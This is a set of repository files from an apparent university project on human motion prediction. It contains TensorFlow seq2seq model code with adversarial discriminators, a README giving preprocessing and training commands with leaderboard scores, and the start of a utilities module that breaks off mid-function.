self.rnn_state_decoder = None self.inputs_hidden_encoder = None # The inputs to the encoder self.inputs_hidden = None # The inputs to the decoder self.decoder_output_dense = None # Decoder output layer in case of sampling loss self.decoder_input_dense = None # Decoder input layer in case of sampling loss self.output_decoder_sampl_loss = None # for more efficient predicting in case sampling loss # Fidelity discriminator self.fidelity_linear = None self.inputs_hidden_fid_tar = None self.inputs_hidden_fid_pred = None self.cell_fidelity = None self.fidelity_linear_out = None self.outputs_fid_tar = None self.outputs_fid_pred = None self.initial_states_fidelity = None self.state_fid_pred = None self.state_fid_tar = None self.loss_fidelity = None # continuity discriminator self.continuity_linear = None self.inputs_hidden_con_tar = None self.inputs_hidden_con_pred = None self.cell_continuity = None self.continuity_linear_out = None self.outputs_con_tar = None self.outputs_con_pred = None self.initial_states_continuity = None self.state_con_pred = None self.state_con_tar = None self.loss_continuity = None self.parameter_update_disc = None # How many steps we must predict. self.sequence_length = self.target_seq_len self.inputs_encoder = self.data_inputs[:, :self.source_seq_len-1, :] # (16, 119, 135) # 0:119 -> 119 frames (seed without last) if not self.sampling_loss: self.prediction_inputs = self.data_inputs[:, self.source_seq_len-1:-1, :] # (16, 24, 135) # 119:143 -> 24 frames (without last) else: self.prediction_inputs = self.data_inputs[:, self.source_seq_len-1, :] # (16, 135) (last seed frame) self.prediction_targets = self.data_inputs[:, self.source_seq_len:, :] # 120:144 -> 24 frames (last) self.prediction_seq_len = tf.ones((tf.shape(self.prediction_targets)[0]), dtype=tf.int32)*self.sequence_length # [24, ..., 24] self.prediction_seq_len_encoder = tf.ones((tf.shape(self.inputs_encoder)[0]), dtype=tf.int32)*(self.source_seq_len-1) # [119, ..., 119] self.tf_batch_size = self.inputs_encoder.shape.as_list()[0] if self.tf_batch_size is None: self.tf_batch_size = tf.shape(self.inputs_encoder)[0] def build_input_layer(self): """ Here we can do some stuff on the inputs before passing them to the recurrent cell. The processed inputs should be stored in `self.inputs_hidden`. """ # We could e.g. pass them through a dense layer if self.input_hidden_size is not None: if self.weight_sharing == "w/o": # no weight sharing in linear layer between encoder and decoder if not self.sampling_loss: with tf.variable_scope("input_layer_decoder", reuse=self.reuse, regularizer=self.regularizer): self.inputs_hidden = tf.layers.dense(self.prediction_inputs, self.input_hidden_size, activation=self.activation_fn_in, reuse=self.reuse) if self.dropout_lin: self.inputs_hidden = tf.layers.dropout(self.inputs_hidden, rate=self.dropout_lin, training=not self.reuse) with tf.variable_scope("input_layer_encoder", reuse=self.reuse, regularizer=self.regularizer): self.inputs_hidden_encoder = tf.layers.dense(self.inputs_encoder, self.input_hidden_size, activation=self.activation_fn_in, reuse=self.reuse) if self.dropout_lin: self.inputs_hidden_encoder = tf.layers.dropout(self.inputs_hidden_encoder, rate=self.dropout_lin, training=not self.reuse) else: # weight sharing between encoder and decoder only (s2s), or between all (all) if not self.sampling_loss: with tf.variable_scope("input_layer_shared", reuse=self.reuse, regularizer=self.regularizer): self.inputs_hidden = tf.layers.dense(self.prediction_inputs, self.input_hidden_size, activation=self.activation_fn_in, reuse=self.reuse) if self.dropout_lin: self.inputs_hidden = tf.layers.dropout(self.inputs_hidden, rate=self.dropout_lin, training=not self.reuse) with tf.variable_scope("input_layer_shared", reuse=True, regularizer=self.regularizer): self.inputs_hidden_encoder = tf.layers.dense(self.inputs_encoder, self.input_hidden_size, activation=self.activation_fn_in) if self.dropout_lin: self.inputs_hidden_encoder = tf.layers.dropout(self.inputs_hidden_encoder, rate=self.dropout_lin, training=not self.reuse) else: with tf.variable_scope("input_layer_shared", reuse=self.reuse, regularizer=self.regularizer): self.inputs_hidden_encoder = tf.layers.dense(self.inputs_encoder, self.input_hidden_size, activation=self.activation_fn_in, reuse=self.reuse) if self.dropout_lin: self.inputs_hidden_encoder = tf.layers.dropout(self.inputs_hidden_encoder, rate=self.dropout_lin, training=not self.reuse) else: self.inputs_hidden = self.prediction_inputs self.inputs_hidden_encoder = self.inputs_encoder def build_cell(self): """Create recurrent cell.""" with tf.variable_scope("rnn_cell", reuse=self.reuse, regularizer=self.regularizer): if self.cell_type == C.LSTM: if self.num_rnn_layers == 1: cell = tf.nn.rnn_cell.LSTMCell(self.cell_size, reuse=self.reuse) if not self.weight_sharing_rnn: cell_decoder = tf.nn.rnn_cell.LSTMCell(self.cell_size, reuse=self.reuse) else: cell = tf.nn.rnn_cell.MultiRNNCell( [tf.nn.rnn_cell.LSTMCell(self.cell_size, reuse=self.reuse) for _ in range(self.num_rnn_layers)]) if not self.weight_sharing_rnn: cell_decoder = tf.nn.rnn_cell.MultiRNNCell( [tf.nn.rnn_cell.LSTMCell(self.cell_size, reuse=self.reuse) for _ in range(self.num_rnn_layers)]) cell_fidelity = tf.nn.rnn_cell.LSTMCell(self.cell_size_disc, reuse=self.reuse) cell_continuity = tf.nn.rnn_cell.LSTMCell(self.cell_size_disc, reuse=self.reuse) elif self.cell_type == C.GRU: if self.num_rnn_layers == 1: cell = tf.nn.rnn_cell.GRUCell(self.cell_size, reuse=self.reuse) if not self.weight_sharing_rnn: cell_decoder = tf.nn.rnn_cell.GRUCell(self.cell_size, reuse=self.reuse) else: cell = tf.nn.rnn_cell.MultiRNNCell( [tf.nn.rnn_cell.GRUCell(self.cell_size, reuse=self.reuse) for _ in range(self.num_rnn_layers)]) if not self.weight_sharing_rnn: cell_decoder = tf.nn.rnn_cell.MultiRNNCell( [tf.nn.rnn_cell.GRUCell(self.cell_size, reuse=self.reuse) for _ in range(self.num_rnn_layers)]) cell_fidelity = tf.nn.rnn_cell.GRUCell(self.cell_size_disc, reuse=self.reuse) cell_continuity = tf.nn.rnn_cell.GRUCell(self.cell_size_disc, reuse=self.reuse) else: raise ValueError("Cell type '{}' unknown".format(self.cell_type)) self.cell = cell if not self.weight_sharing_rnn: self.cell_decoder = cell_decoder else: self.cell_decoder = cell if self.dropout and not self.reuse: # not self.reuse is there so that we apply dropout only during training self.cell = tf.nn.rnn_cell.DropoutWrapper(self.cell, input_keep_prob=1, output_keep_prob=self.dropout, state_keep_prob=1) self.cell_decoder = tf.nn.rnn_cell.DropoutWrapper(self.cell_decoder, input_keep_prob=1, output_keep_prob=self.dropout, state_keep_prob=1) self.cell_fidelity = cell_fidelity self.cell_continuity = cell_continuity def build_fidelity_input(self): """Fidelity linear input layer.""" if self.input_hidden_size is not None: if self.weight_sharing != 'all': with tf.variable_scope("input_fidelity", reuse=self.reuse, regularizer=self.regularizer): self.fidelity_linear = tf.layers.Dense(self.input_hidden_size, use_bias=True, activation=self.activation_fn_in) self.inputs_hidden_fid_tar = self.fidelity_linear(self.prediction_targets) self.inputs_hidden_fid_pred = self.fidelity_linear( self.outputs) # (16, 24, 135) -> # (16, 24, input_hidden_size) if self.dropout_lin: self.inputs_hidden_fid_tar = tf.layers.dropout(self.inputs_hidden_fid_tar, rate=self.dropout_lin, training=not self.reuse) self.inputs_hidden_fid_pred = tf.layers.dropout(self.inputs_hidden_fid_pred, rate=self.dropout_lin, training=not self.reuse) else: with tf.variable_scope("input_layer_shared", reuse=True, regularizer=self.regularizer): self.inputs_hidden_fid_tar = tf.layers.dense(self.prediction_targets, self.input_hidden_size, activation=self.activation_fn_in) if self.dropout_lin: self.inputs_hidden_fid_tar = tf.layers.dropout(self.inputs_hidden_fid_tar, rate=self.dropout_lin, training=not self.reuse) with tf.variable_scope("input_layer_shared", reuse=True, regularizer=self.regularizer): self.inputs_hidden_fid_pred = tf.layers.dense(self.outputs, self.input_hidden_size, activation=self.activation_fn_in) if self.dropout_lin: self.inputs_hidden_fid_pred = tf.layers.dropout(self.inputs_hidden_fid_pred, rate=self.dropout_lin, training=not self.reuse) else: self.inputs_hidden_fid_tar = self.prediction_targets self.inputs_hidden_fid_pred = self.outputs def build_fidelity_output(self): """Linear layer for fidelity output.""" with tf.variable_scope("fidelity_output", reuse=self.reuse, regularizer=self.regularizer): self.fidelity_linear_out = tf.layers.Dense(1, use_bias=True, activation=tf.nn.sigmoid) if self.cell_type == "gru": self.outputs_fid_tar = self.fidelity_linear_out(self.state_fid_tar) self.outputs_fid_pred = self.fidelity_linear_out(self.state_fid_pred) else: self.outputs_fid_tar = self.fidelity_linear_out(self.state_fid_tar[1]) self.outputs_fid_pred = self.fidelity_linear_out(self.state_fid_pred[1]) def build_loss_fidelity(self): self.loss_fidelity = tf.reduce_mean(tf.log(self.outputs_fid_tar + 1e-12)) + \ tf.reduce_mean(tf.log(1 - self.outputs_fid_pred + 1e-12)) # self.loss = self.loss - self.lambda_ * tf.reduce_mean(tf.log(self.outputs_fid_pred + 1e-12)) self.loss = self.loss + self.lambda_ * tf.reduce_mean(tf.log(1 - self.outputs_fid_pred + 1e-12)) def build_continuity_input(self): """continuity linear input layer.""" if self.input_hidden_size is not None: if self.weight_sharing != 'all': with tf.variable_scope("input_continuity", reuse=self.reuse, regularizer=self.regularizer): self.continuity_linear = tf.layers.Dense(self.input_hidden_size, use_bias=True, activation=self.activation_fn_in) self.inputs_hidden_con_tar = self.continuity_linear(self.data_inputs) self.inputs_hidden_con_pred = self.continuity_linear( tf.concat([self.data_inputs[:, :self.source_seq_len, :], self.outputs], axis=1)) if self.dropout_lin: self.inputs_hidden_con_tar = tf.layers.dropout(self.inputs_hidden_con_tar, rate=self.dropout_lin, training=not self.reuse) self.inputs_hidden_con_pred = tf.layers.dropout(self.inputs_hidden_con_pred, rate=self.dropout_lin, training=not self.reuse) else: with tf.variable_scope("input_layer_shared", reuse=True, regularizer=self.regularizer): self.inputs_hidden_con_tar = tf.layers.dense(self.data_inputs, self.input_hidden_size, activation=self.activation_fn_in) if self.dropout_lin: self.inputs_hidden_con_tar = tf.layers.dropout(self.inputs_hidden_con_tar, rate=self.dropout_lin, training=not self.reuse) with tf.variable_scope("input_layer_shared", reuse=True, regularizer=self.regularizer): self.inputs_hidden_con_pred = tf.layers.dense(tf.concat( [self.data_inputs[:, :self.source_seq_len, :], self.outputs], axis=1), self.input_hidden_size, activation=self.activation_fn_in) if self.dropout_lin: self.inputs_hidden_con_pred = tf.layers.dropout(self.inputs_hidden_con_pred, rate=self.dropout_lin, training=not self.reuse) else: self.inputs_hidden_con_tar = self.data_inputs self.inputs_hidden_con_pred = tf.concat([self.data_inputs[:, :self.source_seq_len, :], self.outputs], axis=1) def build_continuity_output(self): """Linear layer for continuity output.""" with tf.variable_scope("continuity_output", reuse=self.reuse, regularizer=self.regularizer): self.continuity_linear_out = tf.layers.Dense(1, use_bias=True, activation=tf.nn.sigmoid) if self.cell_type == "gru": self.outputs_con_tar = self.continuity_linear_out(self.state_con_tar) self.outputs_con_pred = self.continuity_linear_out(self.state_con_pred) else: self.outputs_con_tar = self.continuity_linear_out(self.state_con_tar[1]) self.outputs_con_pred = self.continuity_linear_out(self.state_con_pred[1]) def build_loss_continuity(self): self.loss_continuity = tf.reduce_mean(tf.log(self.outputs_con_tar + 1e-12)) + \ tf.reduce_mean(tf.log(1 - self.outputs_con_pred + 1e-12)) # self.loss = self.loss - self.lambda_ * tf.reduce_mean(tf.log(self.outputs_con_pred + 1e-12)) self.loss = self.loss + self.lambda_ * tf.reduce_mean(tf.log(1 - self.outputs_con_pred + 1e-12)) def optimization_routines(self): """Add an optimizer.""" if self.exp_decay: self.learning_rate = tf.train.exponential_decay(self.learning_rate, self.global_step, 500, self.exp_decay, staircase=True) # Use a simple SGD optimizer. if self.optimizer == 'SGD': optimizer = tf.train.GradientDescentOptimizer(self.learning_rate) else: optimizer = tf.train.AdamOptimizer(self.learning_rate, epsilon = self.epsilon) # optimizer = tf.keras.optimizers.Adam(self.learning_rate, amsgrad=True) # Gradients and update operation for training the model. update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) with tf.control_dependencies(update_ops): params = tf.trainable_variables() params_gen = [var for var in params if not "continuity" in var.name and not "fidelity" in var.name] gradients = tf.gradients(self.loss, params_gen) # GRADIENT VISUALIZATION self.gradients_visual = tf.global_norm(gradients) # In case you want to do anything to the gradients, here you could do it. clipped_gradients, _ = tf.clip_by_global_norm(gradients, self.max_gradient_norm) self.parameter_update = optimizer.apply_gradients(grads_and_vars=zip(clipped_gradients, params_gen), global_step=self.global_step) if self.fidelity: params_disc = [var for var in params if "continuity" in var.name or "fidelity" in var.name] gradients_disc = tf.gradients(- (self.loss_fidelity + self.loss_continuity), params_disc) # GRADIENT VISUALIZATION self.gradients_visual_disc = tf.global_norm(gradients_disc) clipped_gradients_disc, _ = tf.clip_by_global_norm(gradients_disc, self.max_gradient_norm) self.parameter_update_disc = optimizer.apply_gradients(grads_and_vars=zip(clipped_gradients_disc, params_disc)) def build_network(self): """Build the core part of the model.""" self.build_input_layer() self.build_cell() # Zero states self.initial_states = self.cell.zero_state(batch_size=self.tf_batch_size, dtype=tf.float32) self.initial_states2 = self.cell.zero_state(batch_size=self.tf_batch_size, dtype=tf.float32) self.initial_states_fidelity = self.cell_fidelity.zero_state(batch_size=self.tf_batch_size, dtype=tf.float32) self.initial_states_continuity = self.cell_continuity.zero_state(batch_size=self.tf_batch_size, dtype=tf.float32) # RNN if not self.bi: with tf.variable_scope("rnn_encoder", reuse=self.reuse, regularizer=self.regularizer): _, self.rnn_state = tf.nn.dynamic_rnn(self.cell, self.inputs_hidden_encoder, sequence_length=self.prediction_seq_len_encoder, initial_state=self.initial_states, dtype=tf.float32) else: with tf.variable_scope("rnn_encoder", reuse=self.reuse, regularizer=self.regularizer): _, (encoder_fw_state, encoder_bw_state) = \ tf.nn.bidirectional_dynamic_rnn(self.cell, self.cell, self.inputs_hidden_encoder, sequence_length=self.prediction_seq_len_encoder, initial_state_fw=self.initial_states, initial_state_bw=self.initial_states2, dtype=tf.float32) if isinstance(encoder_fw_state, tf.contrib.rnn.LSTMStateTuple): # encoder_state_c = tf.concat(values=(encoder_fw_state.c, encoder_bw_state.c), axis=1) # encoder_state_h = tf.concat(values=(encoder_fw_state.h, encoder_bw_state.h), axis=1) encoder_state_h = tf.math.add(encoder_fw_state.h, encoder_bw_state.h) encoder_state_c = tf.math.add(encoder_fw_state.c, encoder_bw_state.c) self.rnn_state = tf.contrib.rnn.LSTMStateTuple(c=encoder_state_c, h=encoder_state_h) elif isinstance(encoder_fw_state, tf.Tensor): # self.rnn_state = tf.concat(values=(encoder_fw_state, encoder_bw_state), axis=1) self.rnn_state = tf.math.add(encoder_fw_state, encoder_bw_state) self.initial_states_decoder = self.rnn_state if not self.sampling_loss: self.rnn_outputs, self.rnn_state_decoder = tf.nn.dynamic_rnn(self.cell_decoder, self.inputs_hidden, sequence_length=self.prediction_seq_len, initial_state=self.initial_states_decoder, dtype=tf.float32) self.prediction_representation = self.rnn_outputs self.build_output_layer() if self.residuals: self.residuals_decoder() else: # if self.weight_sharing == 'w/o' and self.input_hidden_size is not None: # self.decoder_input_dense = tf.layers.Dense(self.input_hidden_size, use_bias=True, # activation=self.activation_fn_in) state = self.initial_states_decoder seed = self.prediction_inputs self.rnn_outputs = [] for t in range(self.sequence_length): if self.input_hidden_size is not None: if self.weight_sharing == 'w/o': with tf.variable_scope("input_layer_decoder", reuse=tf.AUTO_REUSE, regularizer=self.regularizer): tmp = tf.layers.dense(seed, self.input_hidden_size, activation=self.activation_fn_in) if self.dropout: tmp = tf.layers.dropout(tmp, rate=self.dropout, training=not self.reuse) else: with tf.variable_scope("input_layer_shared", reuse=True, regularizer=self.regularizer): # tmp = self.linear_weight_sharing(seed) tmp = tf.layers.dense(seed, self.input_hidden_size, activation=self.activation_fn_in) if self.dropout: tmp = tf.layers.dropout(tmp, rate=self.dropout, training=not self.reuse) else: tmp = seed # RNN step seed_, state = self.cell_decoder(inputs=tmp, state=state) with tf.variable_scope("output_layer", reuse=tf.AUTO_REUSE, regularizer=self.regularizer): # be careful with this tf.AUTO_REUSE... # seed_ = self.decoder_output_dense(seed_) seed_ = tf.layers.dense(seed_, self.input_size, use_bias=True, activation=self.activation_fn_out) if self.dropout: seed_ = tf.layers.dropout(seed_, rate=self.dropout, training=not self.reuse) if self.residuals: seed_ = tf.add(seed_, seed) self.rnn_outputs.append(seed_) seed = seed_ self.rnn_state_decoder = state self.rnn_outputs = tf.stack(self.rnn_outputs, axis=1) self.outputs = self.rnn_outputs self.build_loss() if self.fidelity: self.build_fidelity_input() with tf.variable_scope("rnn_fidelity", reuse=self.reuse, regularizer=self.regularizer): _, self.state_fid_tar = tf.nn.dynamic_rnn(self.cell_fidelity, self.inputs_hidden_fid_tar, sequence_length=self.prediction_seq_len, initial_state=self.initial_states_fidelity, dtype=tf.float32) _, self.state_fid_pred = tf.nn.dynamic_rnn(self.cell_fidelity, self.inputs_hidden_fid_pred, sequence_length=self.prediction_seq_len, initial_state=self.initial_states_fidelity, dtype=tf.float32) self.build_fidelity_output() self.build_loss_fidelity() if self.continuity: self.build_continuity_input() with tf.variable_scope("rnn_continuity", reuse=self.reuse, regularizer=self.regularizer): _, self.state_con_tar = tf.nn.dynamic_rnn(self.cell_continuity, self.inputs_hidden_con_tar, sequence_length=self.source_seq_len + self.prediction_seq_len, initial_state=self.initial_states_continuity, dtype=tf.float32) _, self.state_con_pred = tf.nn.dynamic_rnn(self.cell_continuity, self.inputs_hidden_con_pred, sequence_length=self.source_seq_len + self.prediction_seq_len, initial_state=self.initial_states_continuity, dtype=tf.float32) self.build_continuity_output() self.build_loss_continuity() # L2 Regularization if self.l2 > 0: self.l2_loss = tf.losses.get_regularization_loss() self.loss = self.loss + self.l2_loss def residuals_decoder(self): self.outputs = tf.add(self.outputs, self.prediction_inputs) def build_loss(self): super(Seq2seq, self).build_loss() def step(self, session): """ Run a training or validation step of the model. Args: session: Tensorflow session object. Returns: A triplet of loss, summary update and predictions. """ if self.is_training: # Training step. if not self.fidelity: output_feed = [self.loss, self.summary_update, self.outputs, self.parameter_update, self.global_step, self.prediction_inputs, self.prediction_targets, self.inputs_encoder ] outputs = session.run(output_feed) # print("prediction_inputs", outputs[5].shape) # print("prediction_targets", outputs[6].shape) # print("inputs_encoder", outputs[7].shape) return outputs[0], outputs[1], outputs[2] else: # Update all output_feed = [self.loss, self.summary_update, self.outputs, self.parameter_update_disc, self.parameter_update, self.loss_fidelity, self.loss_continuity, self.global_step, ] outputs = session.run(output_feed) return outputs[0], outputs[1], outputs[2] else: output_feed = [self.loss, self.summary_update, self.outputs] outputs = session.run(output_feed) return outputs[0], outputs[1], outputs[2] def sampled_step(self, session): """ Generates a sequence by feeding the prediction of time step t as input to time step t+1. This still assumes that we have ground-truth available. Args: session: Tensorflow session object. Returns: Prediction with shape (batch_size, self.target_seq_len, feature_size), ground-truth targets, seed sequence and unique sample IDs. """ assert self.is_eval, "Only works in evaluation mode." # Get the current batch. batch = session.run(self.data_placeholders) data_id = batch[C.BATCH_ID] data_sample = batch[C.BATCH_INPUT] targets = data_sample[:, self.source_seq_len:] # 120:144 -> 24 (last frames) seed_sequence = data_sample[:, :self.source_seq_len] # 0:120 -> 120 (seed) predictions = self.sample(session, seed_sequence, prediction_steps=self.target_seq_len) if self.standardization: targets = (targets) * np.sqrt(self.vars) + self.means predictions = (predictions) * np.sqrt(self.vars) + self.means if self.to_angles: if targets.shape[1] != 0: targets = angle_axis_to_rot_mats_cv2(targets) # train (16, 24, 135) / test (16, 24, 135) predictions = angle_axis_to_rot_mats_cv2(predictions) # (16, 24, 135) seed_sequence = angle_axis_to_rot_mats(seed_sequence) else: batch_size = predictions.shape[0] seq_length = predictions.shape[1] pred_val = np.reshape(predictions, [-1, self.NUM_JOINTS, 3, 3]) # (64, 24, 135) predictions = get_closest_rotmat(pred_val) # (1536, 15, 3, 3) predictions = np.reshape(predictions, [batch_size, seq_length, self.input_size]) # (64, 24, 135) return predictions, targets, seed_sequence, data_id def predict(self, session): """ Generates a sequence by feeding the prediction of time step t as input to time step t+1. This assumes no ground-truth data is available. Args: session: Tensorflow session object. Returns: Prediction with shape (batch_size, self.target_seq_len, feature_size), seed sequence and unique sample IDs. """ # `sampled_step` is written such that it works when no ground-truth data is available, too. predictions, _, seed, data_id = self.sampled_step(session) return predictions, seed, data_id def sample(self, session, seed_sequence, prediction_steps): """ Generates `prediction_steps` may poses given a seed sequence. Args: session: Tensorflow session object. seed_sequence: A tensor of shape (batch_size, seq_len, feature_size) prediction_steps: How many frames to predict into the future. **kwargs: Returns: Prediction with shape (batch_size, prediction_steps, feature_size) """ assert self.is_eval, "Only works in sampling mode." one_step_seq_len = np.ones(seed_sequence.shape[0]) seed_sequence_encoder = seed_sequence[:, :-1, :] # (16, 119, 135/45) seed_decoder = seed_sequence[:, -1, :] # (16, 135/45) # Feed the seed sequence to warm up the RNN. feed_dict = {self.inputs_encoder: seed_sequence_encoder, # 119 frames self.prediction_seq_len_encoder: np.ones(seed_sequence_encoder.shape[0])*seed_sequence_encoder.shape[1]} # [119, ..., 119] state = session.run(self.rnn_state, feed_dict=feed_dict) # Now create predictions step-by-step. if not self.sampling_loss: prediction = seed_decoder[:, np.newaxis, :] predictions = [] for step in range(prediction_steps): # get the prediction feed_dict = {self.prediction_inputs: prediction, self.initial_states_decoder: state, self.prediction_seq_len: one_step_seq_len} state, prediction = session.run([self.rnn_state_decoder, self.outputs], feed_dict=feed_dict) predictions.append(prediction) predictions = np.stack(predictions, axis=1).reshape((seed_decoder.shape[0], self.sequence_length, self.input_size)) else: prediction = seed_decoder # (16, 135/45) predictions = np.zeros(shape=(seed_decoder.shape[0], prediction_steps, self.input_size)) # (16, 24, 135/45) for step in range(prediction_steps): feed_dict = {self.prediction_inputs: prediction, self.initial_states_decoder: state} state, prediction = session.run([self.rnn_state_decoder, self.rnn_outputs], feed_dict=feed_dict) prediction = prediction[:, 0, :] predictions[:, step, :] = prediction return predictions <file_sep>## Human Motion Prediction Machine Perception, Spring 2019 ETH Zürich. Project authors are <NAME> and <NAME>. Project report can be found [here](https://github.com/metodj/MP-Human-Motion-Prediction/blob/master/Machine_Perception_Project_Report.pdf). This README file contains information on replication of results presented in the paper. It should guide the reader through necessary pre-processing and later training and evaluation steps. In addition, it describes the modeling framework, which is designed to build a family of human motion prediction models. #### Data Let's assume that provided human motion dataset is stored under the directory ```./data/```, which contains training, validation and test poses in child directories ```training/```, ```validation/``` and ```test/```. If running on Leonhard Cluster, then this directory should be replaced by ```/cluster/project/infk/hilliges/lectures/mp19/project4 ```. #### Data Preprocessing Originally, human body is represented as a set of 15 three-dimensional rotation matrices, flattened into a one-dimensional vector. Rotations can be expressed also in the form of angle-axis representation (in the papers also referred to as exponential-map representation). In this regard, data should be pre-processed beforehand by running the following command, which will create a new directory ```./data_angles/``` containing human body represented as angle-axis representations. ``` python precompute_angles.py --read_dir ./data/ --write_dir ./data_angles/ ``` Standardization requires statistics to be known. Statistics file for angle-axis representation is obtained by running the following script, which creates a new file```./data_angles/training/stats.npz```. ``` python angles_stats.py --read_dir ./data_angles/training/ ``` #### Model Parameters Default parameters. ``` python train.py --use_cpu False --log False # create log file --data_dir ./data/ # or ./data_angles/ --save_dir ./experiments/ # constant --experiment_name None --seq_length_in 120 # constant --seq_length_out 24 # constant --learning_rate 0.001 --batch_size 16 --num_epochs 5 --optimizer Adam # loss minimizer --print_every 100 --test_every 200 --loss geo # loss function: geodesic or mean square error --to_angles False # should be used together with ./data_angles/ for angle-axis representation --stand False # enable standardization of features --model_type seq2seq # seq2seq or zero_velocity --cell_type lstm # RNN cell type --cell_size 256 # RNN hidden size in s2s --cell_size_disc 256 # RNN hidden size in GAN discriminators --input_hidden_size None # input dense layer size --activation_input None # input dense layer activation function --activation_fn None # output dense layer activation fuction --residuals False # enable residual connection --samp_loss False # enable sampling loss --num_rnn_layers 1 # number rnn layers in seq2seq --fidelity False # enable fidelity discriminator, should be used together with --continuity --continuity False # enable continuity discriminator, should be used together with --fidelity --lambda 0.6 # weight for discriminator loss w.r.t. predictor loss --update_ckpt False # only store model if eval loss was improved during current epoch --weight_sharing w/o # weight sharing between input dense layers, options: w/o (without), s2s (encoder, decoder), all (encoder, decoder, discriminators) --weight_sharing_rnn False # weight sharing between encoder's and decoder's rnn cells --bi False # enable bidirectional encoder --epsilon 0.00000001 # epsilon parameter for Adam optimizer --dropout None # dropout rate for RNN cells --dropout_lin None # dropout rate for dense layers --l2 0.0 # l2 regularization parameter --exp_decay None # learning rate decay ``` ### Results #### Our Models ##### 4LR-GRU SEQ2SEQ RES STAND GEO 512/512 Public Score: 3.3002206364 On Leonhard: <sub><sup>bsub -n 6 -W 4:00 -R "rusage[mem=2048, ngpus_excl_p=1]" python train.py --data_dir /cluster/project/infk/hilliges/lectures/mp19/project4 --save_dir ./experiments --experiment_name seq2seq_gru_multi --model_type seq2seq --batch_size 100 --log --cell_type gru --num_rnn_layers 4 --input_hidden_size 512 --cell_size 512 --residuals --loss geo --num_epochs 150 --learning_rate 0.0005 --dropout 0.3 --exp_decay 0.96 --stand --weight_sharing_rnn --weight_sharing s2s --update_ckpt</sup></sub> 4-layer GRU with shared weights, input and RNN, between encoder and decoder. ``` python train.py --log --data_dir ./data/ --save_dir ./experiments --experiment_name seq2seq_gru_multi --model_type seq2seq --stand --batch_size 100 --cell_type gru --num_rnn_layers 4 --input_hidden_size 512 --cell_size 512 --residuals --loss geo --num_epochs 150 --learning_rate 0.0005 --dropout 0.3 --exp_decay 0.96 --weight_sharing_rnn --weight_sharing s2s --update_ckpt ``` ##### SEQ2SEQ 1024/1024 LSTM RES GEO STAND Public Score: 3.26915846818 On Leonhard <sub><sup>bsub -n 6 -W 4:00 -R "rusage[mem=2048, ngpus_excl_p=1]" python train.py --data_dir /cluster/project/infk/hilliges/lectures/mp19/project4 --save_dir ./experiments --experiment_name seqseq --model_type seq2seq --log --cell_type lstm --input_hidden_size 1024 --cell_size 1024 --residuals --num_epochs 150 --learning_rate 0.0005 --weight_sharing s2s --weight_sharing_rnn --update_ckpt --stand --batch_size 100 --dropout 0.3 --exp_decay 0.96 --loss geo</sup></sub> ``` python train.py --log --data_dir ./data/ --save_dir ./experiments --experiment_name seqseq --model_type seq2seq --loss geo --cell_type lstm --input_hidden_size 1024 --cell_size 1024 --residuals --num_epochs 150 --learning_rate 0.0005 --weight_sharing s2s --weight_sharing_rnn --update_ckpt --stand --batch_size 100 --dropout 0.3 --exp_decay 0.96 ``` ##### AGED 1LR-LSTM 1024(s2s) 256(disc) GEO Public Score: 3.54183614183 On Leonhard <sub><sup>bsub -n 6 -W 4:00 -R "rusage[mem=2048, ngpus_excl_p=1]" python train.py --data_dir /cluster/project/infk/hilliges/lectures/mp19/project4 --save_dir ./experiments --experiment_name seqseq_aged --model_type seq2seq --log --cell_type lstm --input_hidden_size 1024 --cell_size 1024 --residuals --num_epochs 100 --learning_rate 0.0005 --samp_loss --weight_sharing all --weight_sharing_rnn --update_ckpt --fidelity --continuity ``` python train.py --log --data_dir ./data/ --save_dir ./experiments --experiment_name seqseq_aged --model_type seq2seq --log --cell_type lstm --input_hidden_size 1024 --cell_size 1024 --cell_size_disc 256 --residuals --num_epochs 100 --learning_rate 0.0005 --samp_loss --weight_sharing all --weight_sharing_rnn --update_ckpt --fidelity --continuity ``` #### On Human Motion Prediction using Recurrent Neural Networks Replication of model from paper: seq2seq with residual connections and sampling loss. ``` python train.py --data_dir ./data_angles/ --save_dir ./experiments/ --experiment_name martinez --loss mse --learning_rate 0.005 --batch_size 16 --num_epochs 50 --to_angles --stand --model_type seq2seq --cell_type gru --cell_size 1024 --input_hidden_size None --residuals --samp_loss --weight_sharing_rnn ``` #### Adversarial Geometry-Aware Human Motion Prediction Replication of model from paper: seq2seq with geodesic loss, residual connections, sampling loss and fidelity and continuity discriminators. ``` python train.py --data_dir ./data_angles/ --save_dir ./experiments/ --experiment_name aged --loss geo --learning_rate 0.005 --batch_size 16 --num_epochs 50 --to_angles --stand --model_type seq2seq --cell_type gru --cell_size 1024 --input_hidden_size 1024 --residuals --samp_loss --weight_sharing w/o --fidelity --continuity --lambda_ 0.6 ``` #### <sub>Code was adopted from <NAME> and <NAME> of AIT Lab, ETH Zurich.</sub> <file_sep>"""Copyright (c) 2019 AIT Lab, ETH Zurich, <NAME>, <NAME> Students and holders of copies of this code, accompanying datasets, and documentation, are not allowed to copy, distribute or modify any of the mentioned materials beyond the scope and duration of the Machine Perception course projects. That is, no partial/full copy nor modification of this code and accompanying data should be made publicly or privately available to current/future students or other parties. """ import numpy as np import pandas as pd import tensorflow as tf import zipfile from constants import Constants as C def get_activation_fn(activation=C.RELU): """ Return tensorflow activation function given string name. Args: activation: The requested activation function. Returns: The tf op corresponding to the requested activation function. """ # Check if the activation is already callable. if callable(activation): return activation if activation is None: return None elif activation == C.RELU: return tf.nn.relu elif activation == C.TANH: return tf.nn.tanh elif activation == C.SIGMOID: return tf.nn.sigmoid else: raise Exception("Activation function is not implemented.") def export_code(file_list, output_file): """ Adds the given file paths to a zip file. Args: file_list: List of paths to files output_file: Name and path of the zip archive to be created """ zipf = zipfile.ZipFile(output_file, mode="w", compression=zipfile.ZIP_DEFLATED) for f in file_list: zipf.write(f) zipf.close() def export_results(eval_result, output_file): """ Write predictions into a csv file that can be uploaded to the submission system. Args: eval_result: A dictionary {sample_id => (prediction, seed)}. This is exactly what is returned by `evaluate_test.evaluate_model`. output_file: Where to store the file. """ def to_csv(fname, poses, ids, split=None): n_samples, seq_length, dof = poses.shape data_r = np.reshape(poses, [n_samples, seq_length * dof]) cols = ['dof{}'.format(i) for i in range(seq_length * dof)] # add split id very last if split is not None: data_r = np.concatenate([data_r, split[..., np.newaxis]], axis=-1) cols.append("split") data_frame = pd.DataFrame(data_r, index=ids, columns=cols) data_frame.index.name = 'Id' if not fname.endswith('.gz'): fname += '.gz' data_frame.to_csv(fname, float_format='%.8f', compression='gzip') sample_file_ids = [] sample_poses = [] for k in eval_result: sample_file_ids.append(k) sample_poses.append(eval_result[k][0]) 